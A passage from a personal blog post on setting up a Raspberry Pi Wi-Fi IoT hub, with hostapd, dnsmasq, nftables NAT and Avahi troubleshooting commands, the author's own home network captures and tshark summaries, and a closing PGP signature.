      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
